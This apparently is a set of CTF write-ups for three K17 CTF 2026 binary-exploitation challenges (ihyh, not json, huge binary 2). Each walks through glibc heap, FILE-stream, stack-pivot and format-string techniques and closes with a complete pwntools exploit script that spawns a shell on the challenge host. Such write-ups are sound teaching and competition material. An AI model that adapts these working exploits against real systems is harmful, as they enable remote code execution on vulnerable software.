K17 CTF 2026 Writeups: ihyh, not json, and huge binary 2
1. ihyh
1. Challenge description
Description: “encouraging hatred, because love hurt me”
Service: nc chal.secso.cc 4007
The program manages hate notes and keeps a history file. The history feature
also keeps a global FILE *, and that pointer is where the bug lives.
2. TL;DR
view_history() closes the global history stream but never sets the pointer to
NULL. A note allocation can therefore reclaim the freed FILE object. The
reclaimed object first leaks _IO_wfile_jumps, which gives the libc base. A
second controlled FILE reclaim exposes the safe-linked heap value. A final
House of Apple fake stream makes rewind(fp) dispatch to system, with the
fake stream beginning with a shell command.
3. Files and initial observations
Provided files:
ihyh/Dockerfileihyh/chalInitial binary observations:
- 64-bit x86-64 PIE executable, dynamically linked.
- NX and stack canaries enabled in the ordinary note-management functions.
hateis a ten-entry global table at PIE offset0x4040; each entry holds a note pointer and a length.fpis a globalFILE *at PIE offset0x40e0.- Main operations are
create,edit,delete,view, andview_history. createaccepts note sizes from 1 through 512.- The Dockerfile uses Ubuntu 22.04, so the relevant target libc family is glibc 2.35.
4. Detailed problem analysis
The history function behaves conceptually like this:
if (fp == NULL) fp = fopen("/tmp/log.txt", "a+");
rewind(fp);while ((c = fgetc(fp)) != EOF) putchar(c);
clearerr(fp);fclose(fp);/* fp is incorrectly left non-NULL here. */After the first history request, fp is dangling. The allocator can return
the same chunk to create:
- A 464-byte note is normalized by glibc into the same
0x1e0chunk class as the approximately 472-byte internalFILEallocation. - Supplying 464
Abytes leaves the final eight bytes of the reclaimed chunk untouched. view(0)prints the note with%s, so those untouched bytes disclose the low six bytes of the embedded_IO_wfile_jumpspointer. This is a%sC-string over-read, not format-string exploitation.- Subtracting the supplied libc symbol offset identifies libc.
The freed note is then reclaimed with a minimally valid fake FILE so that a
second view_history can safely run through rewind, fgetc, and fclose.
When that fake stream is closed, the note table still contains its pointer.
Viewing the dangling note discloses tcache’s safe-linked encoding of a NULL
next pointer. For a chunk address heap_chunk, that value is:
encoded_null = heap_chunk >> 12The observed layout places the fake stream at heap_page + 0x2a0, so the
heap address is reconstructed as:
heap_chunk = (encoded_null << 12) + 0x2a0The request calculation is 464 + 8 bytes for the allocator header, rounded
to the 0x1e0 size class. A FILE allocation of about 472 user bytes lands in
that same class. On x86-64, a canonical user-space pointer has two zero high
bytes, so the over-read exposes the lower six bytes that are enough to rebuild
the page-aligned libc base.
The first reclaimed FILE consistently appeared at heap_page + 0x2a0 under
the tested container. That is the source of the final +0x2a0, rather than a
generic safe-linking constant.
The final fake FILE uses a glibc 2.35 House of Apple layout. The adjusted
main vtable sends rewind through the wide-file path, where the fake wide-data
object supplies system as the call target. The first bytes of the fake stream
are " sh", so the call receives a shell command.
The fields are arranged like this:
fake FILE +0x88 -> _lock +0xa0 -> _wide_data = chunk + 0xe0 +0xd8 -> _IO_wfile_jumps - 0x30
wide_data +0xe0 -> fake wide vtable = chunk + 0x160wide vtable+0x68 -> system
rewind(fp) -> _IO_wfile_seekoff -> wide-file overflow / allocation path -> fake wide-vtable entry -> system(fp)The -0x30 adjustment is what places the wide-file function in the slot used
by rewind; the two final writes at 0x1c0 and 0x1c8 provide the fake wide
vtable and its system entry.
5. Exploit path
6. Exploitation walkthrough / flag recovery
Stage 1: libc leak
-
Select history once to create and close the real
/tmp/log.txtstream. -
Create note 0 with requested size 464 and payload
b"A" * 464. -
View note 0. The first 464 bytes are controlled; bytes 464-469 are the leaked low six bytes of
_IO_wfile_jumps. -
With the supplied glibc, compute:
libc_base = leaked_wfile_jumps - libc.sym["_IO_wfile_jumps"]stdout = libc_base + libc.sym["_IO_2_1_stdout_"]lock = stdout + 0x12f0wide = stdout - 0xde0
Stage 2: controlled fake stream and heap leak
Delete note 0, then reclaim the chunk with a 464-byte fake stream:
fake = flat({ 0x00: 0xfbad0000, 0x70: 0xffffffff, 0x88: lock, 0xa0: wide, 0xc0: 0, 0xd8: libc_base + libc.sym["_IO_file_jumps"],}, length=464, filler=b"\0")Select history again. The fake stream is closed and placed in tcache while
the note table retains its stale pointer. view(0) now exposes the encoded
NULL tcache pointer. Reconstruct the heap address with the safe-link formula
above.
Stage 3: House of Apple and shell
Reclaim the chunk one final time with a 472-byte payload:
apple = flat({ 0x00: b" sh\0", 0x20: 0, 0x28: 1, 0x38: 0, 0x88: lock, 0xa0: heap_chunk + 0xe0, 0xc0: 1, 0xd8: libc_base + libc.sym["_IO_wfile_jumps"] - 0x30, 0x1c0: heap_chunk + 0x160, 0x1c8: libc_base + libc.sym["system"],}, length=472, filler=b"\0")Selecting history triggers the fake wide-file path. After the shell starts, send:
cat /flag; exitthen u will get the flag:
K17{50pp1n355_0f_l0v3_f1nd1ng_1t5_way_1n_f1l35!}7. solve.py
Save this code as solve.py. It needs pwntools and the matching glibc as
./libc.so.6.
#!/usr/bin/env python3from pwn import *
context.arch = "amd64"context.log_level = "info"HOST, PORT = args.HOST or "chal.secso.cc", int(args.PORT or 4007)LIBC = args.LIBC or "./libc.so.6"
def start(): return process(args.BIN or "./chal") if args.LOCAL else remote(HOST, PORT)
def menu(io, choice): io.sendlineafter(b">> ", str(choice).encode())
def create(io, size, data): menu(io, 1) io.sendlineafter(b"person?\n", str(size).encode()) io.sendafter(b"them\n", data)
def view(io, index=0): menu(io, 4) io.sendlineafter(b"view?\n", str(index).encode()) io.recvuntil(b"Here is your hate note: ") return io.recvuntil(b"\n1. New", drop=True)
libc = ELF(LIBC, checksec=False)io = start()try: menu(io, 5) create(io, 464, b"A" * 464) wfile = u64(view(io)[464:470] + b"\0\0") libc.address = wfile - libc.sym["_IO_wfile_jumps"] lock = libc.sym["_IO_2_1_stdout_"] + 0x12f0 wide = libc.sym["_IO_2_1_stdout_"] - 0xde0
menu(io, 3) io.sendlineafter(b"history)\n", b"0") fake = flat({ 0x00: 0xfbad0000, 0x70: 0xffffffff, 0x88: lock, 0xa0: wide, 0xc0: 0, 0xd8: libc.sym["_IO_file_jumps"], }, length=464, filler=b"\0") create(io, 464, fake) menu(io, 5) chunk = (u64(view(io)[:5].ljust(8, b"\0")) << 12) + 0x2a0
apple = flat({ 0x00: b" sh\0", 0x20: 0, 0x28: 1, 0x38: 0, 0x88: lock, 0xa0: chunk + 0xe0, 0xc0: 1, 0xd8: libc.sym["_IO_wfile_jumps"] - 0x30, 0x1c0: chunk + 0x160, 0x1c8: libc.sym["system"], }, length=472, filler=b"\0") create(io, 472, apple) menu(io, 5) io.sendline(b"cat /flag; exit") print(io.recvrepeat(3).decode(errors="replace"), end="")finally: io.close()Run it from the directory containing the matching libc then u will get the flag:
The fragile invariants are the 0x1e0 allocator class, the fake stream’s
valid lock/wide-data pointers, and the safe-link heap offset. Each was checked
against the supplied binary/libc pair and then verified remotely.
8. What we learned
- The short-size
memsetstays inside glibc’s minimum chunk area. fcloseleaves a dangling global pointer, but the replacement stream still needs valid libc fields and the right vtable.- A
%sC-string over-read discloses allocator residue when the reclaimed object has no NUL at the requested boundary. - The working sequence is libc leak, fake-stream validation, heap leak, then the final FSOP payload.
9. References and further reading
- glibc FILE internals: https://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libioP.h;hb=HEAD
- CTF FILE-structure notes: https://ctf-wiki.org/en/pwn/linux/user-mode/io-file/introduction/
- glibc malloc internals: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;hb=HEAD
- pwntools documentation: https://docs.pwntools.com/en/stable/
2. not json
1. Challenge description
Description: “JSON is way too complex, so I made my own subset of it.”
Service: nc chal.secso.cc 4003
The challenge presents a recursive custom JSON-like parser. As it parses each entry, the program prints the key and description. The key sanitizer appears to enforce a length limit, but its counter and string length diverge.
2. TL;DR
The sanitizer appends non-alphanumeric characters but decrements its length
counter afterward. Thirty-nine ! characters plus four A bytes reach the
saved frame without advancing the checked counter enough. The resulting %s
print leaks the canary, stack, and PIE.
Recursive frames are 0x70 bytes apart. A fixed 13-frame payload lets H change
the low byte of a parent saved RBP and pivot through leave; ret. One
puts@GOT leak gives libc; the second round calls system("/bin/sh").
3. Files and initial observations
Provided files:
notjson/Dockerfilenotjson/chalThe file is an x86-64 PIE ELF with stack canaries and NX. Although the prompt uses JSON language, the target is a native parser reached over netcat.
The parser’s frame allocates a 40-byte key/description buffer at
rbp-0x30. The short ROP chain uses pie+0x11e8 for pop rdi ; ret,
pie+0x11fc for leave ; ret, pie+0x1030 for puts@PLT, and
pie+0x3f88 for puts@GOT.
4. Detailed problem analysis
The key loop effectively does the following:
while (count <= 0x26) { c = getchar(); if (c == '|') break;
key[strlen(key)] = c; count++;
if (!isalnum(c) && c != '_') { key[strlen(key) - 1] = '_'; count--; }}For !, the string grows by one underscore but count returns to its old
value. The compact leak uses 39 ! bytes followed by four A bytes. The first
A fills the last key-buffer byte, the next overwrites the canary’s low byte,
and the remaining bytes bridge the zero bytes in the saved frame. The |
delimiter then ends key input, and the following %s print exposes the
canary, saved RBP, and saved return address. After recvuntil(b"____A"), the
fixed slices leak[1:8], leak[8:14], and leak[16:22] select those values.
The description parser allows 40 bytes and writes its terminator at offset 40. That terminator restores the canary’s low byte to zero before the parser frame returns. This is what makes the leak-and-pivot payload survive the stack check.
The leak is parsed as:
canary = u64(b"\0" + leak[1:8])rbp = u64(leak[8:14] + b"\0\0")pie = u64(leak[16:22] + b"\0\0") - 0x161aEach recursive frame changes RBP by 0x70. The fixed payload uses 13 frames; in
the tested binary, the deepest key’s H changes a zero low byte of the parent
saved RBP to 0x48. The parent description then supplies the pivot:
parent saved RBP: ...00 --H--> ...48 | +-> controlled description buffer
leave: rsp = rbp, rbp = [rsp]ret: rip = [rsp + 8]The ROP description is placed at rbp - 0x430, and the pivot description is
canary || (rbp - 0x430) || leave; ret. The 40-byte description in the deepest
frame writes its terminator over the canary’s low byte before the stack check.
5. Exploit path
6. Exploitation walkthrough / flag recovery
Stage 1: Stack and PIE leak
Send the prefix below at the JSON prompt:
leak_prefix = b'{ "' + b'!' * 39 + b'AAAA|' + b'A' * 40 + b'": {}, 'The parser prints the overflowing key. The leaked bytes are decoded using the
offsets above. The solver then builds 13 nested objects. The deepest key ends
with AAH|; its description is 40 A bytes, which restores the canary’s low
byte through the terminator.
pivot = flat(canary, rbp - 0x430, pie + 0x11fc)Stage 2: libc leak and re-entry
The first pivoted chain is:
pop rdi ; retputs@GOTputs@PLTmainThe puts leak gives the remote libc base:
libc_base = leaked_puts - 0x805a0Returning to main lets the same short payload run again.
Stage 3: final shell
The final chain is the standard three-entry ret2libc sequence:
pop rdi ; retlibc + 0x1a6ea4 # /bin/shlibc + 0x53110 # systemThe second chain adds one ret for stack alignment, then calls
system(libc + 0x1a6ea4). After the final input is parsed, send cat /flag.
and then u will get the flag :
K17{b3cau$e_rbp_taste$_bett3r_th@n_key}7. solve.py
Save this code as solve.py; it needs pwntools and the supplied chal.
#!/usr/bin/env python3from pwn import *import re
HOST, PORT = "chal.secso.cc", 4003PUTS_OFF, BINSH_OFF, SYSTEM_OFF = 0x805a0, 0x1a6ea4, 0x53110context.log_level = "info"exe = context.binary = ELF(args.EXE or "./chal", checksec=False)DESCRIPTION = b"Description: " + b"A" * 40 + b"\n"
def start(): return process(exe.path) if args.LOCAL else remote(HOST, PORT)
def exploit(io, chain_fn): io.recvuntil(b"Enter your JSON:\n") io.send(b'{ "' + b"!" * 39 + b"AAAA|" + b"A" * 40 + b'": {}, ') io.recvuntil(b"____A") leak = io.recvn(32) canary = u64(b"\0" + leak[1:8]) rbp = u64(leak[8:14] + b"\0\0") exe.address = u64(leak[16:22] + b"\0\0") - 0x161a
rop = ROP(exe) chain_addr = rbp - 0x430 pivot = flat(canary, chain_addr, rop.find_gadget(["leave", "ret"])[0]) chain = flat(0x6767, chain_fn(rop)) assert b'"' not in pivot + chain
payload = b'"a|b": { ' * 9 payload += b'"r|' + chain + b'": { ' payload += b'"p|' + pivot + b'": { ' payload += b'"a|b": { ' payload += b'"' + b"!" * 39 + b"AA\x48|" + b"A" * 40 payload += b'": { ' + b" }" * 3 io.send(payload) io.recvuntil(DESCRIPTION)
def solve(): io = start() try: chain = lambda r: flat(r.find_gadget(["pop rdi", "ret"])[0], exe.got["puts"], exe.plt["puts"], exe.symbols["main"]) exploit(io, chain) puts = u64(io.recvn(6) + b"\0\0") libc = puts - PUTS_OFF
chain = lambda r: flat(r.find_gadget(["ret"])[0], r.find_gadget(["pop rdi", "ret"])[0], libc + BINSH_OFF, libc + SYSTEM_OFF) exploit(io, chain) io.sendline(b"cat /flag; exit") return io.recvall(timeout=5) finally: io.close()
for attempt in range(16): try: output = solve() match = re.search(rb"K17\{[^\r\n}]*\}", output) if match: print(match.group().decode()) break except (EOFError, PwnlibException, AssertionError) as exc: log.warning("attempt %d failed: %s", attempt + 1, exc)8. What we learned
- Check the binary before trusting the JSON-themed name; the target is an ELF parser.
- Thirty-nine punctuation bytes plus the extra
Abytes expose the canary, saved RBP, and return address in one%soutput. - A fixed 13-frame layout is enough; the
Hbyte changes one saved-RBP byte, and the description terminator restores the canary. - One
putsleak supplies the libc base. The second round only needs the alignedpop rdi ; ret/systemchain.
9. References and further reading
printf(3)and%sbehavior: https://man7.org/linux/man-pages/man3/printf.3.html- System V AMD64 ABI: https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf
- pwntools ROP documentation: https://docs.pwntools.com/en/stable/rop/rop.html
- Linux stack and ELF exploitation notes: https://ctf-wiki.org/en/pwn/linux/user-mode/stackoverflow/x86/basic-rop/
3. huge binary 2
1. Challenge description
Description: “I AM PLEASE TO REPORT THAT THE UNITED STATES OF CTF HAS BUILT
AN EVEN HUGER BINARY. THANK YOU FOR YOUR ATTENTION TO THIS MATTER”
Service: nc chal.secso.cc 4005
The program asks for an index and two short strings, then echoes both strings.
The strings are passed directly to printf, making the “huge” binary a very
small but unusually constrained format-string challenge.
2. TL;DR
The index is an unchecked stack-byte read. The first and second 31-byte inputs
are both format strings. Positional arguments expose a stack-pointer graph,
libc’s return address, and PIE’s main address. A halfword write changes the
return low byte so execution re-enters main, giving repeated format-string
rounds.
Those rounds write a three-entry ret2libc chain into an unused area of the
initial stack. A final halfword write changes the saved return to libc’s
pop rsp ; ret, pivots into the chain, and calls system("/bin/sh").
3. Files and initial observations
Provided files:
huge-binary-2/Dockerfilehuge-binary-2/chalhuge-binary-2/libc.so.6The supplied libc identifies itself as:
GNU C Library (Debian GLIBC 2.41-12+deb13u2)The executable is x86-64 PIE with NX, partial RELRO, and no stack canary. The
index read is in main+0x7f, and main begins at PIE offset 0x1169. The two
inputs use %31s, so each format string must remain at most 31 bytes. That
constraint is why the exploit writes halfwords and reuses the main loop. The
bundled libc supplies system at 0x53110, pop rsp ; ret at 0x285d8,
pop rdi ; ret at 0x2a145, and /bin/sh at 0x1a5ea4.
4. Detailed problem analysis
The index path executes the equivalent of:
scanf("%d", &index);printf("Your lucky number is 0x%x", (unsigned char)rbp[index - 1]);There is no bounds check. The expression is rbp[index - 1], so index 258
reads rbp + 257. In the observed frame this byte is the low byte needed to
retarget the stack pointer used by positional slot 53. The two later calls are
equivalent to:
printf(first_input);printf(second_input);The first format string uses positional arguments to:
- write a low halfword through slot 23;
- leak the libc return through slot 19 (
%19$p); - leak PIE
mainthrough slot 21 (%21$p).
The slot roles came from dumping positional arguments with %1$p through
%60$p, then checking each candidate against the stack and libc mappings:
| Slot | Observed value | Use |
|---|---|---|
| 19 | libc return | libc leak |
| 20 | stack pointer | retarget %hn |
| 21 | main return | PIE leak |
| 23 | indirect stack pointer | first write target |
| 50 | dereferenced retargeted pointer | arbitrary halfword write |
| 53 | saved-return pointer | loop and final pivot |
A short discovery probe such as %19$p|%20$p|%21$p reveals the first three
roles. Repeating it in short batches covers the remaining positional slots
without exceeding the 31-byte input limit.
The write path is indirect:
slot 20 -> stack cell holding a pointer -> slot 50 -> chosen targetslot 53 -> saved return byte, restored to 0x8e after each roundThe second format string writes 0x8e through slot 53. The ordinary return
from the libc startup wrapper is at libc offset 0x29ca8; changing its low
byte from 0xa8 to 0x8e re-enters the code that calls main. Each successful
round therefore creates another pair of format-string calls.
The re-entry write is one byte:
saved return: ...a8 --%53$hhn--> ...8e | +--> code path that calls main againSlot 20 can be redirected to an arbitrary stack location with %20$hn, and
slot 50 can then write a 16-bit value to that location. Slot 53 remains the
permanent pointer used to restore the main-loop return byte after each write.
Three low halfwords are enough for each canonical libc pointer because the
upper halfwords already contain the matching canonical zero/high address bytes.
The final chain is stored at a safe stack offset:
libc + 0x2a145 pop rdi ; retlibc + 0x1a5ea4 /bin/shlibc + 0x53110 systemThe saved return is finally changed to libc + 0x285d8, which pops the chain
address into RSP and begins the prepared ROP sequence.
5. Exploit path
6. Exploitation walkthrough / flag recovery
Stage 1: obtain the stack byte and initial leaks
Send index 258. Let lucky be the printed byte. The solver forms the low
address used to retarget slot 53:
byte1 = (lucky - 1) & 0xffreturn_pointer = (byte1 << 8) | ((attempt_low_nibble << 4) | 8)The saved RSP is 16-byte aligned, but one low nibble is unknown. Try the 16 possible nibbles across separate connections; the solver allows up to 32 attempts because each connection gets a fresh ASLR layout.
The first format string is:
%<return_pointer>c%23$hnL%19$pP%21$pThe second is:
%142c%53$hhnThe markers L and P make the libc and PIE leaks easy to parse. Compute:
libc_base = leaked_libc_return - 0x29ca8pie_base = leaked_main - 0x1169Stage 2: build the stack ROP chain
Each halfword write is performed in a fresh repeated-main round:
first input: %<address_low16>c%20$hnsecond input: %<value_low16>c%50$hn[%delta%c]%53$hhn%53$hhn restores the low return byte to 0x8e, so the next round starts.
If a halfword is zero, print 65536 characters because %0c does not advance
the format-string output count.
For the logged run, the first chain word used target 0x3510 and desired value
libc + 0x2a145, whose low halfword was 0xa145. The first format prints
0xa145 characters for %50$hn; the following 0x49 characters bring the
count to 0x8e modulo 256, so %53$hhn restores the loop byte.
Write the low three halfwords of each of:
libc_base + 0x2a145 # pop rdi ; retlibc_base + 0x1a5ea4 # /bin/shlibc_base + 0x53110 # systemThe chain is placed at (saved_rbp_low16 + 0x180) & 0xffff in the safe part
of the original stack frame.
Stage 3: pivot and recover the flag
Retarget slot 20 once more so that slot 50 writes the chain address. Then
change the saved return through slot 53 to libc + 0x285d8 (pop rsp ; ret).
The pivot enters pop rdi ; ret, loads /bin/sh, and calls system.
Send:
cat /flag*; exitthen u will get teh flag:
K17{turn$_0ut_siz3_do3s_m@tter}7. solve.py
Save this code as solve.py. It needs pwntools and tries the 16 aligned
low-nibble possibilities across at most 32 connections.
#!/usr/bin/env python3from pwn import *import reimport os
HOST, PORT = "chal.secso.cc", 4005LIBC_RETURN, MAIN = 0x29ca8, 0x1169POP_RSP, POP_RDI, BIN_SH = 0x285d8, 0x2a145, 0x1a5ea4SYSTEM = 0x53110DEBUG = bool(os.getenv("DEBUG"))INDEX = b"Enter an index: "FIRST = b"first input to be echoed: "SECOND = b"second input to be echoed: "context.log_level = "info"
def width(value): return value or 0x10000
def write_half(io, target, value): io.sendline(b"0") io.recvuntil(FIRST) io.sendline(f"%{width(target)}c%20$hn".encode()) io.recvuntil(SECOND) payload = f"%{width(value)}c%50$hn".encode() delta = (0x8e - value) & 0xff if delta: payload += f"%{delta}c".encode() io.sendline(payload + b"%53$hhn") io.recvuntil(INDEX)
def solve(attempt): io = remote(HOST, PORT) try: io.sendlineafter(INDEX, b"258") banner = io.recvuntil(FIRST) lucky = int(re.search(rb"lucky number is 0x([0-9a-f]+)", banner).group(1), 16) return_pointer = (((lucky - 1) & 0xff) << 8) | ((attempt << 4) | 8)
first = f"%{width(return_pointer)}c%23$hnL%19$pP%21$p".encode() assert len(first) <= 31 io.sendline(first) io.recvuntil(SECOND) io.sendline(b"%142c%53$hhn") output = io.recvuntil(INDEX) libc_return, main = (int(x, 16) for x in re.search(rb"L(0x[0-9a-f]+)P(0x[0-9a-f]+)", output).groups()) libc, pie = libc_return - LIBC_RETURN, main - MAIN
rbp = (return_pointer - 8) & 0xffff chain = (rbp + 0x180) & 0xffff for offset, pointer in ((0, libc + POP_RDI), (8, libc + BIN_SH), (16, libc + SYSTEM)): for part in range(3): value = (pointer >> (16 * part)) & 0xffff write_half(io, chain + offset + 2 * part, value)
write_half(io, (rbp + 16) & 0xffff, chain) io.sendline(b"0") io.recvuntil(FIRST) io.sendline(b"A") io.recvuntil(SECOND) io.sendline(f"%{width((libc + POP_RSP) & 0xffff)}c%53$hn".encode()) io.sendline(b"cat /flag*; exit") output = io.recvall(timeout=10) match = re.search(rb"K17\{[^\r\n}]*\}", output) if match: log.info("libc=%#x pie=%#x", libc, pie) return match.group().decode() finally: io.close()
for attempt in range(32): try: flag = solve(attempt) if flag: print(flag) break except (EOFError, PwnlibException, AttributeError, AssertionError) as exc: if DEBUG: log.warning("attempt %d failed: %s", attempt + 1, exc)8. What we learned
- The binary is small; the “huge” part is the input restriction and the need
to reuse
main. - The executable has no
pop rdi ; ret, so the libc leak supplies both the gadget and the finalpop rsp ; retpivot. - The 31-byte limit makes the saved-return byte loop necessary for repeated halfword writes.
- Wrong low-nibble candidates terminate a connection, so the 32 tries are a bounded alignment search with enough retries for ASLR variation.
- A zero halfword needs a count of 65536 because
%0cadds no output.
9. References and further reading
printf(3)positional arguments and format specifiers: https://man7.org/linux/man-pages/man3/printf.3.html- pwntools format-string helpers: https://docs.pwntools.com/en/stable/fmtstr.html
- pwntools ROP documentation: https://docs.pwntools.com/en/stable/rop/rop.html
- pwntools ret2libc patterns: https://docs.pwntools.com/en/stable/rop/rop.html
Share Article
If this article helped you, please share it with others!
















